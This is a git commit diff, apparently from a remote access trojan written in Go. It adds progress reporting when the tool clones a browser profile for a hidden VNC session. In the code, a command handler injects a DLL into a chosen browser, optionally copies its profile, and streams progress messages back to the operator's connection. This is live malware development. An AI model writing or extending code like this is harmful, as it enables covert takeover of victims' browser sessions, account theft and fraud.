add hvnc cloning progress, fix context menu stuff for mobile view, more updates

This commit is contained in:
KingKDot
2026-03-12 14:41:03 -05:00
parent f066cb6a8e
commit 173eb87311
12 changed files with 248 additions and 31 deletions
+14 -1
View File
@@ -1366,7 +1366,20 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v dllSize=%d", browser, exePath, clone, cloneLite, len(dllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_browser_injected", nil, func() {
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite); err != nil {
var onProgress capture.CloneProgressFunc
if clone {
onProgress = func(percent int, copiedBytes, totalBytes int64, status string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCCloneProgress{
Type: "hvnc_clone_progress",
Browser: browser,
Percent: percent,
CopiedBytes: copiedBytes,
TotalBytes: totalBytes,
Status: status,
})
}
}
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, onProgress); err != nil {
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
}
})